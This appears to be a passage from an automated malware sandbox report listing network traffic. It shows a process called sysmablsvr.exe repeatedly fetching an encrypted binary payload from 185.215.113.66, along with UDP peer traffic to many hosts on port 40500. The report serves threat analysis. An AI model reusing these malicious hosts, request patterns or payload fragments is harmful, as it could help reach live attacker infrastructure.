Sep 17, 2024 23:12:59.827104092 CEST	49822	40500	192.168.2.4	79.170.184.222
Sep 17, 2024 23:13:01.631660938 CEST	49832	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:13:01.632065058 CEST	49834	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:13:01.637567997 CEST	80	49834	185.215.113.66	192.168.2.4
Sep 17, 2024 23:13:01.637590885 CEST	80	49832	185.215.113.66	192.168.2.4
Sep 17, 2024 23:13:01.637631893 CEST	49834	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:13:01.637656927 CEST	49832	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:13:01.637963057 CEST	49834	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:13:01.642982006 CEST	80	49834	185.215.113.66	192.168.2.4
Sep 17, 2024 23:13:02.354104042 CEST	80	49834	185.215.113.66	192.168.2.4
Sep 17, 2024 23:13:02.354191065 CEST	49834	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:13:03.240053892 CEST	49826	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:13:03.240309000 CEST	49834	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:13:03.251307964 CEST	80	49826	91.202.233.141	192.168.2.4
Sep 17, 2024 23:13:03.251355886 CEST	49826	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:13:03.251451015 CEST	80	49834	185.215.113.66	192.168.2.4
Sep 17, 2024 23:13:03.251488924 CEST	49834	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:13:04.191715956 CEST	49835	40500	192.168.2.4	151.234.69.79
Sep 17, 2024 23:13:04.196665049 CEST	40500	49835	151.234.69.79	192.168.2.4
Sep 17, 2024 23:13:04.196748018 CEST	49835	40500	192.168.2.4	151.234.69.79
Sep 17, 2024 23:13:04.197988987 CEST	49835	40500	192.168.2.4	151.234.69.79
Sep 17, 2024 23:13:04.203119993 CEST	40500	49835	151.234.69.79	192.168.2.4
Sep 17, 2024 23:13:04.203176022 CEST	49835	40500	192.168.2.4	151.234.69.79
Sep 17, 2024 23:13:04.206500053 CEST	49835	40500	192.168.2.4	151.234.69.79
Sep 17, 2024 23:13:04.208120108 CEST	40500	49835	151.234.69.79	192.168.2.4
Sep 17, 2024 23:13:04.253458977 CEST	40500	49835	151.234.69.79	192.168.2.4
Sep 17, 2024 23:13:04.380382061 CEST	49836	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:13:04.385323048 CEST	80	49836	185.215.113.66	192.168.2.4
Sep 17, 2024 23:13:04.385425091 CEST	49836	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:13:04.385543108 CEST	49836	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:13:04.390347004 CEST	80	49836	185.215.113.66	192.168.2.4
Sep 17, 2024 23:13:05.072268963 CEST	80	49836	185.215.113.66	192.168.2.4
Sep 17, 2024 23:13:05.072324991 CEST	49836	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:13:05.497745991 CEST	40500	49824	95.59.118.94	192.168.2.4
Sep 17, 2024 23:13:05.497947931 CEST	49824	40500	192.168.2.4	95.59.118.94
Sep 17, 2024 23:13:08.116410971 CEST	49837	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:13:08.134638071 CEST	80	49837	77.91.77.92	192.168.2.4
Sep 17, 2024 23:13:08.134740114 CEST	49837	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:13:08.134874105 CEST	49837	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:13:08.161170959 CEST	80	49837	77.91.77.92	192.168.2.4
Sep 17, 2024 23:13:09.206978083 CEST	49838	40500	192.168.2.4	5.133.123.159
Sep 17, 2024 23:13:09.254283905 CEST	40500	49838	5.133.123.159	192.168.2.4
Sep 17, 2024 23:13:09.254355907 CEST	49838	40500	192.168.2.4	5.133.123.159
Sep 17, 2024 23:13:09.255374908 CEST	49838	40500	192.168.2.4	5.133.123.159
Sep 17, 2024 23:13:09.269211054 CEST	49838	40500	192.168.2.4	5.133.123.159
Sep 17, 2024 23:13:09.534617901 CEST	49838	40500	192.168.2.4	5.133.123.159
Sep 17, 2024 23:13:09.604866028 CEST	40500	49838	5.133.123.159	192.168.2.4
Sep 17, 2024 23:13:09.604882002 CEST	40500	49838	5.133.123.159	192.168.2.4
Sep 17, 2024 23:13:09.922728062 CEST	80	49837	77.91.77.92	192.168.2.4
Sep 17, 2024 23:13:09.923769951 CEST	49837	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:13:09.923883915 CEST	49837	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:13:09.949393034 CEST	80	49837	77.91.77.92	192.168.2.4
Sep 17, 2024 23:13:11.942872047 CEST	49839	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:13:12.010977030 CEST	80	49839	77.91.77.92	192.168.2.4
Sep 17, 2024 23:13:12.011154890 CEST	49839	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:13:12.011240005 CEST	49839	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:13:12.064850092 CEST	80	49839	77.91.77.92	192.168.2.4
Sep 17, 2024 23:13:13.778429985 CEST	80	49839	77.91.77.92	192.168.2.4
Sep 17, 2024 23:13:13.779439926 CEST	49839	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:13:13.779511929 CEST	49839	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:13:13.789038897 CEST	80	49839	77.91.77.92	192.168.2.4
Sep 17, 2024 23:13:15.567642927 CEST	40500	49830	5.233.220.4	192.168.2.4
Sep 17, 2024 23:13:15.570318937 CEST	49830	40500	192.168.2.4	5.233.220.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 17, 2024 23:09:18.095591068 CEST	59145	40500	192.168.2.4	84.54.122.14
Sep 17, 2024 23:09:23.161854982 CEST	59145	40500	192.168.2.4	178.151.4.209
Sep 17, 2024 23:09:28.177603960 CEST	59145	40500	192.168.2.4	195.181.62.220
Sep 17, 2024 23:09:33.235647917 CEST	59145	40500	192.168.2.4	2.189.25.176
Sep 17, 2024 23:09:38.241848946 CEST	59145	40500	192.168.2.4	86.102.56.226
Sep 17, 2024 23:09:43.241811991 CEST	59145	40500	192.168.2.4	2.190.124.23
Sep 17, 2024 23:09:48.239314079 CEST	59145	40500	192.168.2.4	10.102.10.21
Sep 17, 2024 23:09:53.262038946 CEST	59145	40500	192.168.2.4	100.66.253.251
Sep 17, 2024 23:09:58.255064011 CEST	59145	40500	192.168.2.4	105.106.52.97
Sep 17, 2024 23:10:03.308803082 CEST	59145	40500	192.168.2.4	217.30.170.10
Sep 17, 2024 23:10:08.302854061 CEST	59145	40500	192.168.2.4	217.30.162.37
Sep 17, 2024 23:10:13.319220066 CEST	59145	40500	192.168.2.4	81.195.238.130
Sep 17, 2024 23:10:18.318553925 CEST	59145	40500	192.168.2.4	178.130.83.254
Sep 17, 2024 23:10:23.335541010 CEST	59145	40500	192.168.2.4	46.100.121.146
Sep 17, 2024 23:10:28.348341942 CEST	59145	40500	192.168.2.4	37.255.23.100
Sep 17, 2024 23:10:33.348572969 CEST	59145	40500	192.168.2.4	87.237.234.24
Sep 17, 2024 23:10:38.364094019 CEST	59145	40500	192.168.2.4	178.253.109.195
Sep 17, 2024 23:10:43.380317926 CEST	59145	40500	192.168.2.4	5.236.253.124
Sep 17, 2024 23:10:48.397243977 CEST	59145	40500	192.168.2.4	213.230.127.213
Sep 17, 2024 23:10:53.411549091 CEST	59145	40500	192.168.2.4	82.194.13.95
Sep 17, 2024 23:10:58.514940977 CEST	59145	40500	192.168.2.4	89.43.145.18
Sep 17, 2024 23:11:03.520358086 CEST	59145	40500	192.168.2.4	79.165.23.131
Sep 17, 2024 23:11:08.536109924 CEST	59145	40500	192.168.2.4	188.213.178.116
Sep 17, 2024 23:11:13.541304111 CEST	59145	40500	192.168.2.4	151.240.79.133
Sep 17, 2024 23:11:18.551662922 CEST	59145	40500	192.168.2.4	91.218.161.58
Sep 17, 2024 23:11:23.570591927 CEST	59145	40500	192.168.2.4	178.88.111.20
Sep 17, 2024 23:11:28.602590084 CEST	59145	40500	192.168.2.4	37.151.125.109
Sep 17, 2024 23:11:33.598653078 CEST	59145	40500	192.168.2.4	100.67.22.76
Sep 17, 2024 23:11:38.614980936 CEST	59145	40500	192.168.2.4	89.249.62.14
Sep 17, 2024 23:11:43.614862919 CEST	59145	40500	192.168.2.4	92.47.27.126
Sep 17, 2024 23:11:48.662898064 CEST	59145	40500	192.168.2.4	37.151.162.116
Sep 17, 2024 23:11:53.660979033 CEST	59145	40500	192.168.2.4	89.36.181.43
Sep 17, 2024 23:11:58.676865101 CEST	59145	40500	192.168.2.4	178.45.178.213
Sep 17, 2024 23:12:03.696357012 CEST	59145	40500	192.168.2.4	2.185.224.76
Sep 17, 2024 23:12:08.708132029 CEST	59145	40500	192.168.2.4	80.80.222.130
Sep 17, 2024 23:12:13.708015919 CEST	59145	40500	192.168.2.4	151.235.83.141
Sep 17, 2024 23:12:18.707808018 CEST	59145	40500	192.168.2.4	2.185.144.157
Sep 17, 2024 23:12:23.724097013 CEST	59145	40500	192.168.2.4	78.39.225.27
Sep 17, 2024 23:12:28.739573956 CEST	59145	40500	192.168.2.4	37.228.65.185
Sep 17, 2024 23:12:33.855828047 CEST	59145	40500	192.168.2.4	178.45.178.213
Sep 17, 2024 23:12:38.848778963 CEST	59145	40500	192.168.2.4	149.54.47.90
Sep 17, 2024 23:12:43.864557981 CEST	59145	40500	192.168.2.4	37.150.142.35
Sep 17, 2024 23:12:48.864965916 CEST	59145	40500	192.168.2.4	5.232.85.255
Sep 17, 2024 23:12:53.879962921 CEST	59145	40500	192.168.2.4	188.215.175.89
Sep 17, 2024 23:12:58.897691011 CEST	59145	40500	192.168.2.4	100.109.48.43
Sep 17, 2024 23:13:03.911230087 CEST	59145	40500	192.168.2.4	109.74.67.96
Sep 17, 2024 23:13:08.927618027 CEST	59145	40500	192.168.2.4	203.142.81.102

HTTP Request Dependency Graph

185.215.113.66

77.91.77.92

91.202.233.141

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:09:15.569209099 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:09:16.259267092 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:09:16 GMT Content-Type: application/octet-stream Content-Length: 7936 Last-Modified: Tue, 17 Sep 2024 21:06:39 GMT Connection: keep-alive ETag: "66e9ef5f-1f00" Accept-Ranges: bytes Data Raw: 14 1a ce da 82 08 ba 24 75 30 7f 6a ed 06 00 e6 10 10 57 dd e0 5a 01 72 bd f9 d5 ed 1c 35 60 f9 32 ce d3 a5 ea 4d 2a e6 0c e1 3c 65 d9 da f4 7e 2e 7e c6 ba 6c 55 4d 43 8b 05 f1 2c 33 05 0f 5e ad 81 37 56 45 04 64 01 6c 05 f2 ca 9b fa c5 86 d7 7c d9 19 4e 35 30 82 8a e7 0f 4c 4f 27 fa f6 0f 6d b1 63 2f 86 d4 9b b3 b8 9e 89 04 9f cc 59 b6 c8 6c 39 8e 85 db 24 67 1e 58 a4 34 75 41 9a ef 46 4a a7 1f ea b8 e5 66 6b 34 84 cb d2 5a 5c 61 e3 2a ec c0 b3 7a 6d bd 66 90 03 6b 60 c1 d3 3d cd f9 87 e8 32 b6 e7 85 b9 e4 c8 61 17 9d 1c 0d 5c 46 b8 c4 60 53 71 ba ab 09 fc ef 95 54 1c 84 a0 7a d9 10 c0 39 d8 2e 2d 2a 56 d3 b6 ee ee c1 dc cd 7a 9e 33 73 ec 32 64 ae 69 89 98 32 5a 29 b9 f2 81 dd 89 8c 00 6b 4a f7 21 ba ae 4a dc 2c 5f a9 20 d6 81 fd 4d f4 76 b4 52 7a 8f 9b 01 cc af 72 96 0d e8 7f cf 9e 80 24 c7 d2 ae 56 27 1f c6 27 9e 0a 4b 97 c9 ab ab d5 b7 40 4a fb b8 5a b5 13 1d 45 de ed 7b 13 44 ed e2 38 90 ef cf 34 ad 54 5b 38 00 6a 93 51 63 8b be a0 f0 20 18 4f 49 f8 31 a7 c2 9c 9a 36 cc 52 ac 12 de 12 6d f1 54 [TRUNCATED] Data Ascii: $u0jWZr5`2M<e~.~lUMC,3^7VEdl\|N50LO'mc/Yl9$gX4uAFJfk4Z\azmfk`=2a\F`SqTz9.-Vz3s2di2Z)kJ!J,_ MvRzr$V''K@JZE{D84T[8jQc OI16RmT=gyJV9qUMuD6QEl"{.d=~rD$Ep=-Kg\|I&]c)XYT,x7~W9r{$hKKvfK5w}yBLS^nX]P>=qU0_DF&BRB1+Y@$2c#6:Pnr}$x/ql~p2 Qm&>CG)Iu$.I@q;@T9u'Odcm7r}y}}?FHwx,6,$sg"S\|Y):#lQLqye)>8`56f/iIq)cKG-i)iM1-]eLd3}fDA]\<Jr~SWEoXf5O5_g5,V\|sB}T;uQT:z~B88Smqm*gg9D;W@t^
Sep 17, 2024 23:09:16.259324074 CEST	1236	IN	Data Raw: a8 cd b6 25 a2 da 1a 53 6e 9c 3d e0 c0 2c b0 89 c9 36 5e 59 78 e5 46 22 d4 dd 8d ff 8c 57 da 6b 79 15 f8 be 5e db e9 49 15 0f f8 c3 4f 96 07 14 e2 9a 29 ff 2d 40 fd 3b 29 86 ca 57 e5 fb 68 04 d3 a7 dd 89 cf e1 60 e7 16 2d 5e 1f e7 1c 80 8e 86 df Data Ascii: %Sn=,6^YxF"Wky^IO)-@;)Wh`-^<`;!L?S@MN!$R"RgVUFcl{a6J4;_9=ipvrbLp}=\|7 '.t}!sc\=}j
Sep 17, 2024 23:09:16.259356022 CEST	1236	IN	Data Raw: bd 52 fd db cc 9b fc 19 4c 24 14 3a f8 15 aa f8 d2 28 b0 81 08 a3 83 e9 8d a9 68 84 95 22 8f bf 70 c5 c3 31 4f 46 17 26 19 c0 74 19 3a df 70 26 8d c0 61 94 1f b2 60 86 45 0b 4f 28 60 1a 98 cc 83 f5 48 8b 87 ce 2c 0c 8c 32 08 c5 3c 6a 67 68 8a 1b Data Ascii: RL$:(h"p1OF&t:p&a`EO(`H,2<jgh<lWm6Yi-"i^t(/v%Y{H5IiNsO6\gP=a-jR94,Gi!xr~Z)F<WR4Z-+lm[*
Sep 17, 2024 23:09:16.259716988 CEST	1236	IN	Data Raw: d7 f3 2e 8d 8d 14 f5 b5 9f 7a 63 f6 a5 d8 1a 7c 20 73 ff 8e 3d 30 7a dd eb 21 21 b3 f9 61 8c d5 2b fe 2d a1 ba 84 7b d4 a9 1d 58 0e 2b 45 90 e9 60 fe 22 89 e1 f0 b4 9a 10 da cd 73 31 e1 bb 58 72 26 c0 bf e3 d9 d3 02 33 02 61 b9 fe 1e bc 27 56 16 Data Ascii: .zc\| s=0z!!a+-{X+E`"s1Xr&3a'VS:JN4sZO~"NX#"{W`0c>?'Ao.mcBF+5),Tk.8O:Uvw}!\NvuLscl,UdSuEcSh.
Sep 17, 2024 23:09:16.259732008 CEST	1236	IN	Data Raw: fb b6 7f 01 cb 83 9c ee 28 41 1b 8d 78 f9 94 d9 c6 b9 86 0b e3 73 c1 45 58 68 0b ab d3 47 ef 20 86 7b 55 d3 0c c7 b1 57 4f a7 20 cc 91 fa 41 9a 3d 58 7d e2 89 40 e4 51 3c 59 f9 49 f2 74 56 b3 66 34 4f 7c 10 6b bf f5 25 ce f7 63 be 60 cf 88 9f c7 Data Ascii: (AxsEXhG {UWO A=X}@Q<YItVf4O\|k%c`1HY@:o\|k(NTR^UZ!%W?y!\2LF%0HN7(%u)X6OP3O9U+8t@GB<5V<u2JgHVQM`WBuS*
Sep 17, 2024 23:09:16.259747982 CEST	1236	IN	Data Raw: 90 bf ae ec 13 9d a5 4b e9 3e 96 7d 0f 9d b6 32 3c 1a 52 f8 10 a1 cf 98 d2 01 cf 79 55 d5 06 f1 2b cf f1 19 79 42 ba 77 de b5 f5 09 d1 13 61 a4 39 69 3f 6c ba 23 9c 2a bb ac 20 1c d2 25 85 7d f6 de a1 1f 26 49 d8 fb 80 30 2d c2 27 f1 9d 56 c6 3a Data Ascii: K>}2<RyU+yBwa9i?l#* %}&I0-'V:7ih`JX`JyJ 7#g=cfxe*z}^Gbbw;+1Pl\C&fots7I>5U^'7
Sep 17, 2024 23:09:16.260427952 CEST	776	IN	Data Raw: af 2d 94 59 fe 1d 33 87 3e e9 41 18 09 db d0 b8 9b 92 b4 44 c0 1e b5 bc 8e dd 96 e8 06 f3 c6 a1 5a a3 a9 93 28 47 ce 2b dc 08 af 4e 85 c6 48 22 91 67 96 5b ab af d2 7f bf de 80 e2 3c d5 57 b8 35 24 f9 39 e7 93 01 7b 25 f3 d7 59 75 0d f9 37 8c 7f Data Ascii: -Y3>ADZ(G+NH"g[<W5$9{%Yu7seOC{%XIcbc&Ch2?`c%2H5_@&r3-"j41%%uv#Sh}<~~`FF<Eq:7M{(hNYf'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:09:17.274733067 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:09:17.984699965 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:09:17 GMT Content-Type: application/octet-stream Content-Length: 7936 Last-Modified: Tue, 17 Sep 2024 21:06:39 GMT Connection: keep-alive ETag: "66e9ef5f-1f00" Accept-Ranges: bytes Data Raw: 14 1a ce da 82 08 ba 24 75 30 7f 6a ed 06 00 e6 10 10 57 dd e0 5a 01 72 bd f9 d5 ed 1c 35 60 f9 32 ce d3 a5 ea 4d 2a e6 0c e1 3c 65 d9 da f4 7e 2e 7e c6 ba 6c 55 4d 43 8b 05 f1 2c 33 05 0f 5e ad 81 37 56 45 04 64 01 6c 05 f2 ca 9b fa c5 86 d7 7c d9 19 4e 35 30 82 8a e7 0f 4c 4f 27 fa f6 0f 6d b1 63 2f 86 d4 9b b3 b8 9e 89 04 9f cc 59 b6 c8 6c 39 8e 85 db 24 67 1e 58 a4 34 75 41 9a ef 46 4a a7 1f ea b8 e5 66 6b 34 84 cb d2 5a 5c 61 e3 2a ec c0 b3 7a 6d bd 66 90 03 6b 60 c1 d3 3d cd f9 87 e8 32 b6 e7 85 b9 e4 c8 61 17 9d 1c 0d 5c 46 b8 c4 60 53 71 ba ab 09 fc ef 95 54 1c 84 a0 7a d9 10 c0 39 d8 2e 2d 2a 56 d3 b6 ee ee c1 dc cd 7a 9e 33 73 ec 32 64 ae 69 89 98 32 5a 29 b9 f2 81 dd 89 8c 00 6b 4a f7 21 ba ae 4a dc 2c 5f a9 20 d6 81 fd 4d f4 76 b4 52 7a 8f 9b 01 cc af 72 96 0d e8 7f cf 9e 80 24 c7 d2 ae 56 27 1f c6 27 9e 0a 4b 97 c9 ab ab d5 b7 40 4a fb b8 5a b5 13 1d 45 de ed 7b 13 44 ed e2 38 90 ef cf 34 ad 54 5b 38 00 6a 93 51 63 8b be a0 f0 20 18 4f 49 f8 31 a7 c2 9c 9a 36 cc 52 ac 12 de 12 6d f1 54 [TRUNCATED] Data Ascii: $u0jWZr5`2M<e~.~lUMC,3^7VEdl\|N50LO'mc/Yl9$gX4uAFJfk4Z\azmfk`=2a\F`SqTz9.-Vz3s2di2Z)kJ!J,_ MvRzr$V''K@JZE{D84T[8jQc OI16RmT=gyJV9qUMuD6QEl"{.d=~rD$Ep=-Kg\|I&]c)XYT,x7~W9r{$hKKvfK5w}yBLS^nX]P>=qU0_DF&BRB1+Y@$2c#6:Pnr}$x/ql~p2 Qm&>CG)Iu$.I@q;@T9u'Odcm7r}y}}?FHwx,6,$sg"S\|Y):#lQLqye)>8`56f/iIq)cKG-i)iM1-]eLd3}fDA]\<Jr~SWEoXf5O5_g5,V\|sB}T;uQT:z~B88Smqm*gg9D;W@t^
Sep 17, 2024 23:09:17.984724045 CEST	1236	IN	Data Raw: a8 cd b6 25 a2 da 1a 53 6e 9c 3d e0 c0 2c b0 89 c9 36 5e 59 78 e5 46 22 d4 dd 8d ff 8c 57 da 6b 79 15 f8 be 5e db e9 49 15 0f f8 c3 4f 96 07 14 e2 9a 29 ff 2d 40 fd 3b 29 86 ca 57 e5 fb 68 04 d3 a7 dd 89 cf e1 60 e7 16 2d 5e 1f e7 1c 80 8e 86 df Data Ascii: %Sn=,6^YxF"Wky^IO)-@;)Wh`-^<`;!L?S@MN!$R"RgVUFcl{a6J4;_9=ipvrbLp}=\|7 '.t}!sc\=}j
Sep 17, 2024 23:09:17.984756947 CEST	1236	IN	Data Raw: bd 52 fd db cc 9b fc 19 4c 24 14 3a f8 15 aa f8 d2 28 b0 81 08 a3 83 e9 8d a9 68 84 95 22 8f bf 70 c5 c3 31 4f 46 17 26 19 c0 74 19 3a df 70 26 8d c0 61 94 1f b2 60 86 45 0b 4f 28 60 1a 98 cc 83 f5 48 8b 87 ce 2c 0c 8c 32 08 c5 3c 6a 67 68 8a 1b Data Ascii: RL$:(h"p1OF&t:p&a`EO(`H,2<jgh<lWm6Yi-"i^t(/v%Y{H5IiNsO6\gP=a-jR94,Gi!xr~Z)F<WR4Z-+lm[*
Sep 17, 2024 23:09:17.985251904 CEST	1236	IN	Data Raw: d7 f3 2e 8d 8d 14 f5 b5 9f 7a 63 f6 a5 d8 1a 7c 20 73 ff 8e 3d 30 7a dd eb 21 21 b3 f9 61 8c d5 2b fe 2d a1 ba 84 7b d4 a9 1d 58 0e 2b 45 90 e9 60 fe 22 89 e1 f0 b4 9a 10 da cd 73 31 e1 bb 58 72 26 c0 bf e3 d9 d3 02 33 02 61 b9 fe 1e bc 27 56 16 Data Ascii: .zc\| s=0z!!a+-{X+E`"s1Xr&3a'VS:JN4sZO~"NX#"{W`0c>?'Ao.mcBF+5),Tk.8O:Uvw}!\NvuLscl,UdSuEcSh.
Sep 17, 2024 23:09:17.985268116 CEST	1236	IN	Data Raw: fb b6 7f 01 cb 83 9c ee 28 41 1b 8d 78 f9 94 d9 c6 b9 86 0b e3 73 c1 45 58 68 0b ab d3 47 ef 20 86 7b 55 d3 0c c7 b1 57 4f a7 20 cc 91 fa 41 9a 3d 58 7d e2 89 40 e4 51 3c 59 f9 49 f2 74 56 b3 66 34 4f 7c 10 6b bf f5 25 ce f7 63 be 60 cf 88 9f c7 Data Ascii: (AxsEXhG {UWO A=X}@Q<YItVf4O\|k%c`1HY@:o\|k(NTR^UZ!%W?y!\2LF%0HN7(%u)X6OP3O9U+8t@GB<5V<u2JgHVQM`WBuS*
Sep 17, 2024 23:09:17.985284090 CEST	1236	IN	Data Raw: 90 bf ae ec 13 9d a5 4b e9 3e 96 7d 0f 9d b6 32 3c 1a 52 f8 10 a1 cf 98 d2 01 cf 79 55 d5 06 f1 2b cf f1 19 79 42 ba 77 de b5 f5 09 d1 13 61 a4 39 69 3f 6c ba 23 9c 2a bb ac 20 1c d2 25 85 7d f6 de a1 1f 26 49 d8 fb 80 30 2d c2 27 f1 9d 56 c6 3a Data Ascii: K>}2<RyU+yBwa9i?l#* %}&I0-'V:7ih`JX`JyJ 7#g=cfxe*z}^Gbbw;+1Pl\C&fots7I>5U^'7
Sep 17, 2024 23:09:17.985702038 CEST	776	IN	Data Raw: af 2d 94 59 fe 1d 33 87 3e e9 41 18 09 db d0 b8 9b 92 b4 44 c0 1e b5 bc 8e dd 96 e8 06 f3 c6 a1 5a a3 a9 93 28 47 ce 2b dc 08 af 4e 85 c6 48 22 91 67 96 5b ab af d2 7f bf de 80 e2 3c d5 57 b8 35 24 f9 39 e7 93 01 7b 25 f3 d7 59 75 0d f9 37 8c 7f Data Ascii: -Y3>ADZ(G+NH"g[<W5$9{%Yu7seOC{%XIcbc&Ch2?`c%2H5_@&r3-"j41%%uv#Sh}<~~`FF<Eq:7M{(hNYf'
Sep 17, 2024 23:09:18.072895050 CEST	8	IN	Data Raw: 1b b5 08 3e b6 9b 0d ab Data Ascii: >

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:09:20.238425970 CEST	274	OUT	GET /1 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 185.215.113.66 Connection: Keep-Alive
Sep 17, 2024 23:09:20.952914000 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:09:20 GMT Content-Type: application/octet-stream Content-Length: 7936 Last-Modified: Tue, 17 Sep 2024 21:06:39 GMT Connection: keep-alive ETag: "66e9ef5f-1f00" Accept-Ranges: bytes Data Raw: 14 1a ce da 82 08 ba 24 75 30 7f 6a ed 06 00 e6 10 10 57 dd e0 5a 01 72 bd f9 d5 ed 1c 35 60 f9 32 ce d3 a5 ea 4d 2a e6 0c e1 3c 65 d9 da f4 7e 2e 7e c6 ba 6c 55 4d 43 8b 05 f1 2c 33 05 0f 5e ad 81 37 56 45 04 64 01 6c 05 f2 ca 9b fa c5 86 d7 7c d9 19 4e 35 30 82 8a e7 0f 4c 4f 27 fa f6 0f 6d b1 63 2f 86 d4 9b b3 b8 9e 89 04 9f cc 59 b6 c8 6c 39 8e 85 db 24 67 1e 58 a4 34 75 41 9a ef 46 4a a7 1f ea b8 e5 66 6b 34 84 cb d2 5a 5c 61 e3 2a ec c0 b3 7a 6d bd 66 90 03 6b 60 c1 d3 3d cd f9 87 e8 32 b6 e7 85 b9 e4 c8 61 17 9d 1c 0d 5c 46 b8 c4 60 53 71 ba ab 09 fc ef 95 54 1c 84 a0 7a d9 10 c0 39 d8 2e 2d 2a 56 d3 b6 ee ee c1 dc cd 7a 9e 33 73 ec 32 64 ae 69 89 98 32 5a 29 b9 f2 81 dd 89 8c 00 6b 4a f7 21 ba ae 4a dc 2c 5f a9 20 d6 81 fd 4d f4 76 b4 52 7a 8f 9b 01 cc af 72 96 0d e8 7f cf 9e 80 24 c7 d2 ae 56 27 1f c6 27 9e 0a 4b 97 c9 ab ab d5 b7 40 4a fb b8 5a b5 13 1d 45 de ed 7b 13 44 ed e2 38 90 ef cf 34 ad 54 5b 38 00 6a 93 51 63 8b be a0 f0 20 18 4f 49 f8 31 a7 c2 9c 9a 36 cc 52 ac 12 de 12 6d f1 54 [TRUNCATED] Data Ascii: $u0jWZr5`2M<e~.~lUMC,3^7VEdl\|N50LO'mc/Yl9$gX4uAFJfk4Z\azmfk`=2a\F`SqTz9.-Vz3s2di2Z)kJ!J,_ MvRzr$V''K@JZE{D84T[8jQc OI16RmT=gyJV9qUMuD6QEl"{.d=~rD$Ep=-Kg\|I&]c)XYT,x7~W9r{$hKKvfK5w}yBLS^nX]P>=qU0_DF&BRB1+Y@$2c#6:Pnr}$x/ql~p2 Qm&>CG)Iu$.I@q;@T9u'Odcm7r}y}}?FHwx,6,$sg"S\|Y):#lQLqye)>8`56f/iIq)cKG-i)iM1-]eLd3}fDA]\<Jr~SWEoXf5O5_g5,V\|sB}T;uQT:z~B88Smqm*gg9D;W@t^
Sep 17, 2024 23:09:20.953231096 CEST	1236	IN	Data Raw: a8 cd b6 25 a2 da 1a 53 6e 9c 3d e0 c0 2c b0 89 c9 36 5e 59 78 e5 46 22 d4 dd 8d ff 8c 57 da 6b 79 15 f8 be 5e db e9 49 15 0f f8 c3 4f 96 07 14 e2 9a 29 ff 2d 40 fd 3b 29 86 ca 57 e5 fb 68 04 d3 a7 dd 89 cf e1 60 e7 16 2d 5e 1f e7 1c 80 8e 86 df Data Ascii: %Sn=,6^YxF"Wky^IO)-@;)Wh`-^<`;!L?S@MN!$R"RgVUFcl{a6J4;_9=ipvrbLp}=\|7 '.t}!sc\=}j
Sep 17, 2024 23:09:20.953250885 CEST	448	IN	Data Raw: bd 52 fd db cc 9b fc 19 4c 24 14 3a f8 15 aa f8 d2 28 b0 81 08 a3 83 e9 8d a9 68 84 95 22 8f bf 70 c5 c3 31 4f 46 17 26 19 c0 74 19 3a df 70 26 8d c0 61 94 1f b2 60 86 45 0b 4f 28 60 1a 98 cc 83 f5 48 8b 87 ce 2c 0c 8c 32 08 c5 3c 6a 67 68 8a 1b Data Ascii: RL$:(h"p1OF&t:p&a`EO(`H,2<jgh<lWm6Yi-"i^t(/v%Y{H5IiNsO6\gP=a-jR94,Gi!xr~Z)F<WR4Z-+lm[*
